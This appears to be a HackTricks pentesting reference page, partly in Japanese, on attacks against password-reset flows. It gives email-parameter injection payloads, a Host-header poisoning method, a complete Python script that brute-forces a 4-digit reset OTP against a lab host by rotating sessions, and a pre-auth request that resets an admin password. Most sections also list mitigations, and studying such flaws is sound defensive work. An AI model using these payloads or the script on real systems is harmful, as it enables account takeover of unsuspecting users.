Reset/Forgotten Password Bypass
Reading time: 14 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Password Reset Token Leak Via Referrer
- The HTTP referer headerは、URLにパスワードリセットトークンが含まれている場合にそのトークンをleakする可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトのリンクをクリックしたときに発生する可能性があります。
- Impact: Cross-Site Request Forgery (CSRF) 攻撃を介した潜在的なアカウント乗っ取り。
- Exploitation: referer header内でパスワードリセットトークンがleakしているか確認するには、あなたのメールアドレスに対してpassword resetをリクエストし、提供されたreset linkをクリックします。パスワードをすぐに変更しないでください。代わりに、Burp Suiteを使ってリクエストをインターセプトしながら、FacebookやTwitterなどのサードパーティのウェブサイトに移動します。リクエストを検査して、referer headerがパスワードリセットトークンを含んでいるかを確認してください。これは機密情報がサードパーティに公開される可能性があります。
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- Impact: reset tokensを攻撃者にleakingすることで潜在的なアカウント乗っ取りにつながる。
- Mitigation Steps:
- Host headerを許可ドメインのホワイトリストと照合して検証する。
- 絶対URLを生成する際は、サーバー側の安全な方法を使用する。
- Patch:
$_SERVER['SERVER_NAME']
を使用してパスワードリセットURLを構築し、$_SERVER['HTTP_HOST']
を使用しない。 - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- & を使って攻撃者のメールアドレスを2番目のパラメータとして追加する
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- 攻撃者のメールアドレスを2番目のパラメータとして追加し、%20を使用する
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- | を使って attacker email を2番目のパラメータとして追加する
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- attacker email を cc を使って2番目のパラメータとして追加する
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- 攻撃者のメールアドレスを2番目のパラメータとして、bccを使って追加する
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- attacker email を2番目のパラメータとして追加し、
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- json array の2番目のパラメータとして attacker email を追加する
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- 緩和手順:
- email パラメータをサーバー側で適切に解析・検証すること。
- prepared statements または parameterized queries を使用して、injection attacks を防ぐこと。
- References:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
API Parameters を介して任意のユーザーの Email と Password を変更する
- 攻撃者は API リクエスト内の email および password パラメータを改変してアカウントの認証情報を変更できる。
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- 緩和策:
- パラメータの厳密な検証と認証チェックを実施する。
- 疑わしいアクティビティを検出して対応できるよう、堅牢なログ記録と監視を実装する。
- Reference:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- パスワードリセット要求に対するレート制限がないと、email bombing を招き、ユーザに大量のリセットメールが届いてしまう可能性がある。
- 緩和策:
- IPアドレスやユーザアカウントに基づくレート制限を実装する。
- 自動化された濫用を防ぐために CAPTCHA を利用する。
- References:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- トークン生成のパターンや方法を理解すると、トークンの予測や総当たりが可能になる場合がある。考えられる例:
- タイムスタンプベース
- UserID ベース
- ユーザの email ベース
- firstname と lastname ベース
- 生年月日ベース
- 暗号学ベース
- 緩和策:
- トークン生成には強力な暗号学的手法を使用する。
- 予測されないよう、十分なランダム性と長さを確保する。
- Tools: トークンのランダム性を解析するために Burp Sequencer を使用する。
Guessable UUID
- UUIDs (version 1) が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するために総当たり攻撃を行う可能性がある。次を確認する:
- 緩和策:
- ランダム性のために GUID version 4 を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
- Tools: GUID を解析・生成するために guidtool を使用する。
Response Manipulation: Replace Bad Response With Good One
- エラーメッセージや制限を回避するために HTTP レスポンスを操作する行為。
- 緩和策:
- レスポンスの整合性を保証するためにサーバー側のチェックを実装する。
- 中間者攻撃を防ぐために HTTPS のような安全な通信チャネルを使用する。
- Reference:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- 期限切れトークンがパスワードリセットにまだ使えるかどうかをテストする。
- 緩和策:
- 厳格なトークン有効期限ポリシーを実施し、サーバー側でトークンの期限を検証する。
Brute Force Password Reset Token
- Burpsuite や IP-Rotator のようなツールを使ってリセットトークンを総当たりし、IPベースのレート制限を回避する試み。
- 緩和策:
- 堅牢なレート制限とアカウントロックアウト機構を実装する。
- 総当たり攻撃を示す疑わしい活動を監視する。
Try Using Your Token
- 攻撃者のリセットトークンを被害者の email と組み合わせて使用できるかをテストする。
- 緩和策:
- トークンがユーザセッションや他のユーザ固有の属性に紐付けられるようにする。
Session Invalidation in Logout/Password Reset
- ユーザがログアウトまたはパスワードをリセットした際にセッションが無効化されることを確認する。
- 緩和策:
- 適切なセッション管理を実装し、ログアウトやパスワードリセット時にすべてのセッションを無効化することを保証する。
Session Invalidation in Logout/Password Reset
- リセットトークンには、無効化される有効期限が設定されているべきである。
- 緩和策:
- リセットトークンに合理的な有効期限を設定し、サーバー側で厳格に強制する。
OTP rate limit bypass by changing your session
- サイトが誤った OTP 試行回数をユーザセッションで追跡しており、OTP が弱い(<= 4 桁)場合、実質的に OTP を総当たりできてしまう可能性がある。
- 悪用方法:
- サーバーにブロックされた後に単に新しいセッショントークンを要求する。
- Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Exploitation リクエスト (概念):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
緩和策:
- パスワードを変更する前に、アカウントおよびセッションに紐付いた、期限付きの有効なリセットトークンを必ず要求する。
- skipOldPwdCheck paths を未認証ユーザーに公開しないこと。通常のパスワード変更では認証を強制し、古いパスワードを検証すること。
- パスワード変更後は、すべてのアクティブなセッションとリセットトークンを無効化する。
参考文献
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。